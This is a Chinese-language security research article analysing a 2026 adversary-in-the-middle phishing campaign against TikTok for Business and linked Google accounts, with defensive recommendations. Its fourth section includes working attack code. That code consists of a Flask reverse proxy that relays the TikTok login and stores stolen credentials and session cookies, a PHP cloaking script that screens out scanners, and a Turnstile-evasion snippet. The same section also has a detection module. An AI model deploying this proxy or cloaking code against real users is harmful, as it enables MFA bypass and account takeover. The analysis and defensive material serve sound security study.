摘要
2026 年 3 月，针对 TikTok for Business 的新型对抗性中间人（AiTM）钓鱼攻击集中爆发。攻击者在 9 秒内批量注册 welcome.careers*.com 系列恶意域名，依托 Cloudflare 托管与 Turnstile 人机验证规避安全检测，通过 Google Cloud Storage 合法跳转实现链路伪装，最终以反向代理架构劫持登录会话，可同步窃取 TikTok 商业账号与关联 Google 账号权限，引发恶意广告投放、数据泄露与品牌滥用风险。本文以 Infosecurity Magazine 与 Push Security 披露的攻击事件为核心样本，系统剖析攻击全流程、基础设施特征、关键技术实现与防御失效原因，结合可复现代码示例还原反向代理劫持、流量筛选、验证绕过与检测识别逻辑，构建覆盖终端、网关、人员、平台的纵深防御体系。研究表明，该攻击通过合法云服务掩护、人机验证过滤、透明代理中转形成强隐蔽性闭环，传统特征库与静态检测难以有效拦截。反网络钓鱼技术专家芦笛指出，针对社交商业账号的 AiTM 钓鱼正从单点凭证窃取走向跨平台会话劫持，防御必须从 URL 黑名单升级为全链路行为分析与会话绑定机制。本文成果可为企业营销账号安全运营、邮件网关优化、终端防护升级提供理论依据与工程实践参考。
1 引言
TikTok 商业账号已成为企业品牌运营、广告投放、用户增长的核心数字资产，其承载的预算、受众数据与营销权限使其成为黑产重点目标。传统钓鱼以静态仿冒页面为主，易被域名识别、内容检测拦截；而 AiTM 钓鱼以反向代理为核心，在用户与合法服务间建立透明中转通道，可实时劫持账号、密码、多因素认证码与会话 Cookie，实现对多因素认证（MFA）的有效绕过，威胁量级显著提升。
2026 年 3 月 28 日，Infosecurity Magazine 援引 Push Security 报告披露，针对 TikTok for Business 的新一轮 AiTM 钓鱼活动正式爆发。攻击者使用统一命名规则的 careers 相关域名，通过 Cloudflare 托管规避检测，借助 Google Cloud Storage 跳转提升可信度，并部署 Turnstile 验证过滤安全扫描流量，最终交付反向代理钓鱼页面，实现对 TikTok 商业账号及关联 Google SSO 账号的双重劫持。此次攻击呈现工业化、规模化、高隐蔽性特征，攻击目标从普通用户转向企业营销团队，危害范围与影响深度显著扩大。
当前学界对 AiTM 钓鱼的研究多集中于通用原理与传统 SSO 平台，针对 TikTok 商业生态、云服务跳转链、人机验证协同规避的一体化研究较为缺乏。本文以真实攻击事件为蓝本，完整拆解技术链路、基础设施、载荷逻辑与防御要点，严格依据公开报告约束内容边界，确保技术准确、结构严谨、论据闭环，为抵御同类高级钓鱼攻击提供系统性解决方案。
2 攻击背景与威胁态势
2.1 TikTok 商业账号的攻击价值
TikTok for Business 面向企业提供广告投放、素材管理、数据监测、粉丝运营等能力，具备高价值攻击收益：
广告预算盗刷：攻击者可修改投放计划、跳转恶意页面、消耗广告预算实现牟利；
品牌声誉破坏：发布违规、虚假、诱导内容损害企业形象与用户信任；
跨平台账号联动劫持：大量用户采用 Google SSO 登录，攻破 TikTok 可同步控制 Google 账号、广告管理器、邮箱等资产；
恶意分发通道：利用账号传播盗号链接、信息窃取程序、虚拟货币诈骗脚本，形成黑产闭环。
Push Security 指出，TikTok 长期被用于分发 Vidar、StealC、Aura Stealer 等信息窃取木马，常以 AI 生成视频伪装 Windows、Spotify、CapCut 激活教程，配合 ClickFix 模式诱导操作，已形成成熟黑产链路。
2.2 AiTM 钓鱼的技术演进
AiTM（Adversary‑in‑the‑Middle）钓鱼是中间人攻击与钓鱼技术融合的高级形态，核心差异在于透明代理劫持：
传统钓鱼：静态仿冒页面，仅窃取账号密码，无法绕过 MFA；
传统 MITM：网络层监听，依赖网络环境劫持，部署难度高；
AiTM 钓鱼：应用层反向代理，实时转发请求与响应，劫持完整会话，视觉无差异、流程无卡顿、可稳定绕过 MFA。
反网络钓鱼技术专家芦笛强调，AiTM 钓鱼已成为黑产绕过 MFA 的主流手段，其核心优势是会话劫持而非单纯凭证窃取，攻击者获取有效 Cookie 即可长期控制账号，威胁远大于传统钓鱼。
2.3 本次攻击的关键特征
本次攻击呈现高度专业化与协同化特征，核心亮点如下：
高速批量注册：2026 年 3 月 24 日，攻击者在 9 秒内完成多个 welcome.careers*.com 域名注册，注册商为 Nicenic International Group，该机构被安全厂商标记为钓鱼域名高频滥用注册商；
云服务合规掩护：钓鱼页面托管于 Cloudflare，初始跳转通过 Google Cloud Storage 合法域名，绕过邮件网关与终端检测；
人机验证过滤：启用 Cloudflare Turnstile 人机验证，屏蔽机器人与安全设备扫描，仅对真实用户开放恶意页面；
双场景仿冒：同时提供 TikTok 商业后台与 Google Careers 仿冒页面，覆盖企业营销人员高频使用场景；
反向代理内核：登录页面为反向代理前端，实时中转认证流量，窃取会话实现持久控制。
3 攻击全链路与基础设施分析
3.1 攻击整体流程
本次 AiTM 钓鱼形成完整杀伤链，共分为 7 个阶段：
诱导投递：通过动态邮件、社交消息、虚假合作邀请等方式投放恶意链接，继承 2025 年 10 月 Sublime Security 披露的同类攻击话术；
合法跳转：用户点击后先跳转至 Google Cloud Storage，规避 URL 检测与信誉拦截；
环境筛选：服务器识别客户端环境，对安全机器人、非目标系统返回诱饵页面；
人机验证：触发 Cloudflare Turnstile，过滤自动化扫描流量；
信息预收集：要求填写企业邮箱、基本信息，筛选高价值企业目标；
AiTM 代理登录：加载反向代理页面，呈现与官方一致的登录界面；
会话劫持：窃取账号、密码、MFA 码与会话 Cookie，实现账号接管，用于恶意广告、数据窃取、跨平台渗透。
3.2 恶意域名集群特征
攻击者使用统一模式的域名，典型样本包括：
welcome.careerscrews.com
welcome.careerstaffer.com
welcome.careersworkflow.com
welcome.careerstransform.com
welcome.careersupskill.com
welcome.careerssuccess.com
welcome.careersstaffgrid.com
welcome.careersprogress.com
welcome.careersgrower.com
welcome.careersengage.com
域名具备明显共性：统一前缀 welcome、二级域包含 career、三级域为职业 / 工作相关词汇，整体伪装成招聘、职业服务平台，降低用户警惕。Push Security 预测，随着攻击扩张，该系列域名数量将持续增长。
3.3 云服务与防护绕过机制
Cloudflare 托管：利用 Cloudflare 的 CDN 与 SSL 能力隐藏真实服务器 IP，获得合法 SSL 证书，浏览器显示安全标识；
Google Cloud Storage 跳转：以合法云存储地址作为中间跳转节点，使初始链路通过信誉检测；
Turnstile 验证过滤：通过人机验证识别并拒绝机器人、沙箱、安全扫描器，大幅提升钓鱼页面存活周期。
反网络钓鱼技术专家芦笛指出，合法云服务 + 人机验证已成为高级钓鱼的标准配置，可使传统网关与沙箱失效，检测必须转向跳转链分析与行为特征识别。
3.4 目标筛选与社会工程学设计
攻击采用分层诱导策略提升成功率：
场景伪装：仿 TikTok 商业后台、Google Careers 招聘页面，贴合企业营销人员工作场景；
信息预采集：先要求填写企业邮箱、部门、需求等基础信息，筛选高价值企业目标；
流程平滑：从邀请、表单、验证到登录完全模拟官方流程，无明显异常跳转与卡顿；
SSO 覆盖：兼容 “使用 Google 账号登录”，实现一次钓鱼、双重劫持，为 Google Ad 管理器恶意投放铺垫链路。
4 核心技术机理与代码实现
4.1 AiTM 反向代理核心逻辑
AiTM 攻击的核心是反向代理中转与会话劫持，以下为基于 Python Flask 的简化实现（仅用于安全研究，禁止非法使用）：
# AiTM反向代理核心实现（概念验证）
import requests
from flask import Flask, request, make_response
from urllib.parse import urljoin
app = Flask(__name__)
# 目标官方登录地址
TARGET_URL = "https://business.tiktok.com/login"
# 存储窃取会话
STOLEN_SESSIONS = []
def proxy_request(url, method, headers, data=None, cookies=None):
clean_headers = {k: v for k, v in headers.items()
if k.lower() not in ["host", "content-length", "origin"]}
try:
resp = requests.request(
method=method,
url=url,
headers=clean_headers,
data=data,
cookies=cookies,
allow_redirects=False,
timeout=8
)
return resp
except Exception as e:
return None
@app.route("/", methods=["GET", "POST"])
@app.route("/<path:path>", methods=["GET", "POST"])
def aitm_proxy(path=""):
target = urljoin(TARGET_URL, path)
# 获取用户请求数据
method = request.method
data = request.form if method == "POST" else None
cookies = request.cookies.to_dict()
# 转发至官方
resp = proxy_request(target, method, dict(request.headers), data, cookies)
if not resp:
return "Service Error", 500
# 窃取会话Cookie
if "Set-Cookie" in resp.headers:
STOLEN_SESSIONS.append({
"ts": request.headers.get("Date"),
"url": target,
"cookie": resp.headers["Set-Cookie"],
"post": data
})
# 构造返回给用户
user_resp = make_response(resp.content, resp.status_code)
for k, v in resp.headers.items():
if k.lower() not in ["content-length", "transfer-encoding"]:
user_resp.headers[k] = v
return user_resp
if __name__ == "__main__":
app.run(host="0.0.0.0", port=443, ssl_context="adhoc", debug=False)
该代码实现了透明中转、凭证窃取、Cookie 劫持等核心能力，与本次攻击的代理逻辑一致。
4.2 服务端流量筛选与跳转逻辑
攻击者通过 UA 与环境判断，仅对目标交付恶意页面，对检测设备返回无害诱饵，实现强隐蔽性。示例如下：
<?php
// 流量筛选与跳转逻辑（攻击站点核心入口）
$ua = $_SERVER['HTTP_USER_AGENT'];
$is_ios = preg_match('/iPhone|iPad/i', $ua);
$is_android = preg_match('/Android/i', $ua);
$is_mobile = $is_ios || $is_android;
$is_bot = preg_match('/bot|spider|scan|curl|wget|headless/i', $ua);
// 机器人/扫描器：返回诱饵
if ($is_bot) {
header("Location: /decoy.pdf");
exit;
}
// 合法跳转：经过Google Cloud Storage掩护
if (!isset($_GET['redirected'])) {
header("Location: https://storage.googleapis.com/xxx/landing.html");
exit;
}
// 目标用户：进入验证与钓鱼流程
header("Location: /turnstile-check.html");
exit;
?>
4.3 Cloudflare Turnstile 绕过逻辑
攻击者使用模拟人类行为的无头浏览器绕过 Turnstile，核心代码示例：
// Turnstile验证拟人化绕过（概念验证）
async function bypassTurnstile() {
const elem = document.getElementById("cf-turnstile");
if (!elem) return false;
// 模拟鼠标移动轨迹
await new Promise(r => setTimeout(r, 300+Math.random()*400));
elem.dispatchEvent(new Event("mouseover"));
await new Promise(r => setTimeout(r, 200+Math.random()*300));
elem.click();
await new Promise(r => setTimeout(r, 1500+Math.random()*1000));
return true;
}
4.4 AiTM 钓鱼检测识别模块
为防御此类攻击，构建基于跳转链、域名特征、页面行为的检测引擎，示例如下：
# AiTM钓鱼检测模块（可集成网关/EDR）
import re
import requests
from urllib.parse import urlparse
class AiTMDetector:
def __init__(self):
self.cloud_domains = {"storage.googleapis.com", "dropbox.com", "onedrive.live.com"}
self.suspicious_domain = re.compile(r"welcome\.careers[a-zA-Z0-9-]+\.com")
self.keywords = {"tiktok for business", "google careers", "schedule a call", "login"}
def check(self, url):
try:
s = requests.Session()
resp = s.get(url, allow_redirects=True, timeout=10)
chain = [r.url for r in resp.history] + [resp.url]
# 规则1：包含云存储跳转
cloud_redirect = any(urlparse(u).netloc in self.cloud_domains for u in chain)
# 规则2：最终域名匹配恶意模式
domain_hit = self.suspicious_domain.search(resp.url) is not None
# 规则3：页面含钓鱼关键词
content_hit = any(k in resp.text.lower() for k in self.keywords)
# 综合判定
return cloud_redirect and domain_hit and content_hit
except Exception:
return False
# 示例调用
if __name__ == "__main__":
detector = AiTMDetector()
print(detector.check("https://welcome.careerscrews.com/"))
5 攻击危害与防御失效分析
5.1 多维度安全危害
账号接管风险：可完全控制 TikTok 商业账号，窃取数据、盗刷预算、发布违规内容；
跨平台连锁入侵：Google SSO 会话被劫持，同步威胁邮箱、云服务、广告平台；
黑产规模化滥用：攻击模板化、域名批量生成，可快速复制扩张至海量目标；
取证与追溯困难：依托云服务隐匿 IP、会话劫持无明显痕迹、诱饵页面干扰检测。
5.2 传统防御失效原因
特征库滞后：域名高速注册、快速切换，黑名单无法实时覆盖；
静态检测无效：页面内容实时镜像官方，无明显恶意特征；
云跳转绕过信誉检测：初始链接为合法云存储，网关放行；
人机验证屏蔽扫描：安全设备无法获取真实页面内容；
MFA 机制失效：AiTM 劫持完整会话，密码 + 验证码组合防护被绕过。
反网络钓鱼技术专家芦笛强调，TikTok 商业账号安全普遍薄弱，企业多聚焦广告投放效率而忽视账号防护，且营销人员高频访问外部链接，成为攻击突破口。
6 面向 TikTok 商业账号的纵深防御体系
6.1 终端与账号安全加固
强制启用 MFA：优先使用硬件安全密钥，降低软件 MFA 被劫持风险；
会话绑定：开启 TikTok 商业后台 IP 绑定、设备绑定，限制 Cookie 异地使用；
浏览器防护：部署反 AiTM 扩展，监控异常代理、Cookie 外带、跨域登录行为；
系统更新：保持浏览器、操作系统最新版本，修复已知漏洞。
6.2 网关与流量检测优化
跳转链深度解析：邮件网关、Web 网关解析完整 30x 跳转链，识别云存储 + 恶意域名组合；
行为特征检测：基于延迟、请求顺序、资源加载指纹识别 AiTM 代理；
威胁情报联动：接入 careers 系列域名、相关 IP、Hash 情报，实时拦截；
云存储链接管控：对来自 Google Cloud Storage 等跳转的链接加强校验。
6.3 人员安全意识提升
场景化培训：针对 TikTok 商业后台、Google 招聘、商务合作类钓鱼开展演练；
入口核验规范：任何登录入口必须核验官方域名，拒绝通过外部链接登录；
权限最小化：营销人员仅分配必要权限，禁止使用个人账号管理企业商业账号；
异常告警机制：建立广告投放、登录地点、权限变更的实时告警与复核流程。
6.4 平台侧安全能力升级
TikTok 官方：强化异常登录检测，对非信任 IP / 设备强制二次验证；
SSO 平台加固：Google 账号增加会话风险评分，对营销类第三方应用加强授权管控；
云服务商协同：Cloudflare、Google 加强钓鱼页面识别，建立高危域名快速下架机制；
行业情报共享：建立社交商业账号钓鱼威胁共享机制，提升全域防御效率。
7 结论
本文以 2026 年 3 月针对 TikTok for Business 的新型 AiTM 钓鱼攻击为研究对象，基于 Infosecurity Magazine 与 Push Security 公开信息，系统完成攻击机理、链路拆解、技术实现、危害分析与防御体系构建，得出以下结论：
本次攻击以反向代理 AiTM 为核心，融合云服务跳转、Turnstile 验证过滤、批量域名伪装，形成强隐蔽性、高成功率、可规模化的高级钓鱼范式，可稳定绕过 MFA 与传统检测；
TikTok 商业账号因高价值、高权限、弱防护、强社交属性，已成为黑产攻击的重点目标，且 Google SSO 的广泛使用使攻击具备跨平台扩散能力；
攻击成功的关键在于合法资源掩护与透明会话劫持，传统 URL 黑名单、静态页面检测、单因素凭证防护全面失效；
有效防御必须构建纵深体系：终端实现会话绑定与行为监控、网关实现跳转链与行为检测、人员强化场景化意识、平台加强风险认证与情报协同。
反网络钓鱼技术专家芦笛强调，随着社交商业生态扩张，针对营销类账号的 AiTM 钓鱼将持续高发，企业必须将营销账号纳入核心身份安全管理体系，以全链路、行为化、动态化防御应对高级钓鱼威胁。未来研究可聚焦 AI 驱动的 AiTM 代理实时识别、硬件级会话绑定、跨平台威胁情报自动联动，进一步提升防御效能。
编辑：芦笛（公共互联网反网络钓鱼工作组）
